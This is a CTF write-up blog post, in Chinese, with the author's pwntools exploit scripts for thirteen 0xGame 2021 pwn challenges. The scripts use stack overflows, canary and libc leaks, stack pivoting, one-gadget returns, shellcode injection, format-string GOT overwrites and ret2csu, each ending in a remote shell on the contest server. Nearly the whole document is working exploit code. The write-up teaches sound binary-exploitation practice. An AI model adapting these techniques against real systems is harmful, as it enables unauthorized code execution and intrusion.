PWN-COMPETITION-0xGame2021

原创

P1umH0 于 2021-11-04 18:06:27 发布 779 收藏 1

分类专栏： Pwn-Competition 文章标签： 安全 系统安全

本文链接：https://blog.csdn.net/weixin_45582916/article/details/121105787

PWN-COMPETITION-0xGame2021

Pwn？！

ret2text

leak me

canary eats pie

ezpwn?

WTF？Shellcode！

No BackDoor!

ret2libc pro max

Where is my stack？！

N1k0la's_love

stupid repeater

sign!

N1k0la's love 2.0

Pwn？！

直接nc连靶机即可getshell

```
p1umh0@p1umh0:~/ctf/pwn$ nc 121.4.15.155 10000
Welcome to 0xGame 2021!
cat flag
0xGame{cbef6b32-15b3-4f57-8396-434c92259f42}
^C
p1umh0@p1umh0:~/ctf/pwn$
```

ret2text

存在后门，栈溢出覆盖返回地址到后门函数即可getshell

```python
# -*- coding:utf-8 -*-
from pwn import *
#io=process("./pwn01")
io=remote("121.4.15.155",10003)
elf=ELF("./pwn01")

backdoor=0x401157
io.recvuntil("what is ret2text?\n")
payload="a"*(0x50+8)+p64(backdoor)
io.send(payload)
io.interactive()
```

leak me

第一次puts泄露我们的输入在栈上的地址
第二次puts泄露canary
第三次read构造payload，实现栈迁移，迁移到我们的输入所在地址处，泄露libc，返回到main
第四次read构造payload，栈溢出ret2one-gadget

```python
# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10009)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x401323
ret=0x40101a
main=0x4011D6

leave_ret=0x4012B0

io.recvuntil("Tell me something\n")
payload="a"*(0x30-8)+"b"*8
io.send(payload)
io.recvuntil("b"*8)
stack_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x120
print("stack_addr=="+hex(stack_addr))

io.recvuntil("Tell me something\n")
payload="a"*(0x40-8-8)+"b"*8
io.sendline(payload)
io.recvuntil("b"*8)
canary=u64(io.recv(8))-0x0a
print("canary=="+hex(canary))

io.recvuntil("Tell me something\n")
payload="exit"+"\x00"*4
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust((0x40-8),"a")
payload+=p64(canary)+p64(stack_addr)+p64(leave_ret)
io.send(payload)

puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))

libc_base=puts_addr-0x06f6a0
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[0]

io.recvuntil("Tell me something\n")
payload="exit".ljust((0x40-8),"\x00")
payload+=p64(canary)+"b"*8+p64(ogg)
io.send(payload)

io.interactive()
```

canary eats pie

格式化字符串漏洞泄露canary和libc基地址，栈溢出ret2one-gadget

```python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10010)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")

io.recvuntil("isn't it?\n")
payload="%13$p.%15$p."
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recvuntil(".")[:-1],16)
print("canary=="+hex(canary))
io.recvuntil("0x")
libc_base=int(io.recvuntil(".")[:-1],16)-240-libc.sym["__libc_start_main"]
print("libc_base=="+hex(libc_base))

oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[0]

io.recvuntil("just like before\n")
payload="a"*56+p64(canary)+"b"*8+p64(ogg)
io.send(payload)

io.interactive()
```

ezpwn?

栈迁移泄露libc基地址，返回到vul函数，再次栈溢出ret2one-gadget

```python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10008)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")


pop_rdi=0x4012a3
ret=0x40101a
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln=0x401167
leave_ret=0x401192

io.recvuntil("maybe...\n")
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.send(payload)

io.recvuntil("Your input has been stored in 0x")
buf_addr=int(io.recvuntil("\n")[:-1],16)

io.recvuntil("Tell me someting more\n")
payload="a"*80+p64(buf_addr-8)+p64(leave_ret)
io.send(payload)

puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[1]

io.recvuntil("Tell me someting more\n")
payload="a"*(80+8)+p64(ogg)
io.send(payload)


io.interactive()
```

WTF？Shellcode！

ret2shellcode

```python
# -*- coding:utf-8 -*-
from pwn import *
context.arch="amd64"
#io=process("./pwn01")
io=remote("121.4.15.155",10002)
elf=ELF("./pwn01")

io.recvuntil("What's that?\n")
payload="a"*0x20+asm(shellcraft.sh())
io.send(payload)

io.interactive()
```

No BackDoor!

system和"/bin/sh"真实地址都已知，根据64位elf参数传递方式构造payload，覆写返回地址，执行system("/bin/sh")

```
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10001)
elf=ELF("./pwn01")

system=elf.plt["system"]
binsh=0x404040
pop_rdi=0x401223
ret=0x40101a

io.recvuntil("my backdoor?\n")
payload="a"*(0x50+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.send(payload)

io.interactive()
```

ret2libc pro max

第一次栈溢出泄露libc基地址，第二次栈溢出ret2one-gadget

```
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10004)
elf=ELF("./pwn01")

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x401147
pop_rdi=0x401223
ret=0x40101a

io.recvuntil("but more funny\n")
payload="a"*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)

puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))

libc_base=puts_addr-0x06f6a0
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[0]

io.recvuntil("but more funny\n")
payload="a"*(0x50+8)+p64(ogg)
io.send(payload)

io.interactive()
```

Where is my stack？！

两次栈迁移，需要小心指定栈迁移的目标地址

```
# -*- coding:utf-8 -*-
```

```python
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10005)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")

buf=0x4040A0
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
read_plt=elf.plt["read"]
pop_rdi=0x401293
pop_rsi_r15=0x401291
pop_rsp_r13_r14_r15=0x40128d
ret=0x40101a
main=0x4011AF

#gdb.attach(io,"b * 0x401198")
#pause()

io.recvuntil("then tell me something\n")
#这里调用read只设置了两个参数rdi和rsi，rdx不一定必须设置
#其他需要三个参数的函数同理，可能不需要特殊设置rdx的值
#这里要写到buf+0x500地址处，是因为发现如果写到比如buf+0x100地址处，想要第二次栈迁移getshell的时候，buf地址处的数据在puts后被修改了，而写到buf+0x500地址时则不会被修改
payload="fake_ebp"+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf+0x500)+p64(0)+p64(read_plt)+p64(pop_rsp_r13_r14_r15)+p64(buf+0x500)#最后pop rsp是设置了返回地址，由于ret从栈顶弹值，所以去到了read后的栈
io.send(payload)

io.recvuntil("Tell something more\n")
payload="a"*0x50+p64(buf) #这里只能覆盖到rbp，由于本函数正好返回到调用它的函数的结尾leave;ret的位置，所以还是可以构成栈迁移
io.send(payload)

#调用read后，写到buf+0x500地址的数据，上面还有3个pop，所以前面加3个没用的值
payload=p64(0)*3+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
print("libc_base=="+hex(libc_base))
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh\x00").next()

#第二次栈迁移，getshell
io.recvuntil("then tell me something\n")
#payload="fake_ebp"+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[1]
payload="fake_ebp"+p64(ogg)
io.send(payload)

io.recvuntil("Tell something more\n")
payload="a"*0x50+p64(buf)
io.send(payload)

#pause()

io.interactive()
```

N1k0la's_love

格式化字符串漏洞，覆写data段上变量的值

```
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10006)
elf=ELF("./pwn01")

love_addr=0x404058
io.recvuntil("love to N1k0la?\n")
payload="%1314c%8$hnaaaaa"+p64(love_addr)
io.send(payload)

io.interactive()
```

stupid repeater

格式化字符串漏洞，覆写exit的got表内容为后门地址，退出循环，即可getshell

```
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10007)
elf=ELF("./pwn01")
exit_got=elf.got["exit"]

backdoor=0x4011A7

io.recvuntil("Tell me something:\n")
payload="%"+str(backdoor%0xffff-0x40)+"c%8$hnaaaaa"+p64(exit_got)
io.send(payload)

io.recvuntil("Tell me something:\n")
io.send("exit")

io.interactive()
```

sign!

ret2syscall+ret2csu，参考：2021-0xGame 第四周 WriteUp

```python
# -*- coding:utf-8 -*-
from pwn import *
#io=process("./pwn01")
io=remote("121.4.15.155",10011)
elf=ELF("./pwn01")

#gdb.attach(io,"b * 0x401121")
#pause()

pop_rdi=0x4011a3
pop_rsi_r15=0x4011a1
syscall=0x40111E
mov_eax_0=0x401135

gadget_1=0x40119A
gadget_2=0x401180

bss=0x404028

def com_gadget(rbx,rbp,r12,r13,r14,r15):
 payload=p64(gadget_1)
 payload+=p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
 payload+=p64(gadget_2)
 payload+="a"*56
 return payload

payload="fake_rbp"+p64(pop_rsi_r15)+p64(bss)+"r15_r15_"+p64(mov_eax_0)+"fake_rbp"+p64(syscall)+"fake_rbp"
#r12,r13,r14为三个参数，r15为想要调用的函数
payload+=com_gadget(0,1,bss,0,0,bss+8)
#bss=="/bin/sh\x00"
#bss+8==p64(syscall)

io.send(payload)

sleep(0.5)

payload="/bin/sh\x00"+p64(syscall)
payload=payload.ljust(59,"a") #read后，rax为59，execve的系统调用号
io.send(payload)

#pause()

io.interactive()
```

N1k0la's love 2.0

bss段上的格式化字符串漏洞，覆写data段上变量的值

```python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn01")
io=remote("121.4.15.155",10012)
elf=ELF("./pwn01")

#offset=0x1249
#io_base = io.libs()[io.cwd + io.argv[0].strip('.')]
#gdb.attach(io,"b * "+str(io_base+offset))
#pause()

io.recvuntil("love to N1k0la?\n")
payload="%11$p.%13$p.".ljust(0x40,"a") #泄漏栈地址和程序基址
io.send(payload)
io.recvuntil("0x")
stack_addr=int(io.recvuntil(".")[:-1],16) #栈地址
print("stack_addr=="+hex(stack_addr))
io.recvuntil("0x")
proc_base=int(io.recvuntil(".")[:-1],16)-0x11C9 #程序基址
print("proc_base=="+hex(proc_base))
love_addr=0x4010+proc_base
print("love_addr=="+hex(love_addr))

#按照bss段上格式化字符串漏洞的思路，分三步写love值为1314
# 1.找到一条合适的链，覆写链上的值为一个栈地址，这个栈地址保存了一个与目标地址相近的地址
# 2.还是同一条链，覆写那个与目标地址相近的地址为目标地址
# 3.还是同一条链，覆写目标地址的值为1314

io.recvuntil("love to N1k0la?\n")
addr1=stack_addr-0xC0
addr1=addr1&0xffff
print("addr1=="+hex(addr1))
payload="%"+str(addr1)+"c%11$hn"
payload=payload.ljust(0x40,"a")
io.send(payload) #此时的链应为11->37->13

io.recvuntil("love to N1k0la?\n")
addr2=love_addr&0xffff
print("addr2=="+hex(addr2))
payload="%"+str(addr2)+"c%37$hn"
payload=payload.ljust(0x40,"a")
io.send(payload)

io.recvuntil("love to N1k0la?\n")
payload="%"+str(1314)+"c%13$hn"
payload=payload.ljust(0x40,"a")
io.send(payload)

#最后两个随意输入即可
io.recvuntil("love to N1k0la?\n")
io.send("a"*0x40)

io.recvuntil("love to N1k0la?\n")
io.send("a"*0x40)

#pause()

io.interactive()
```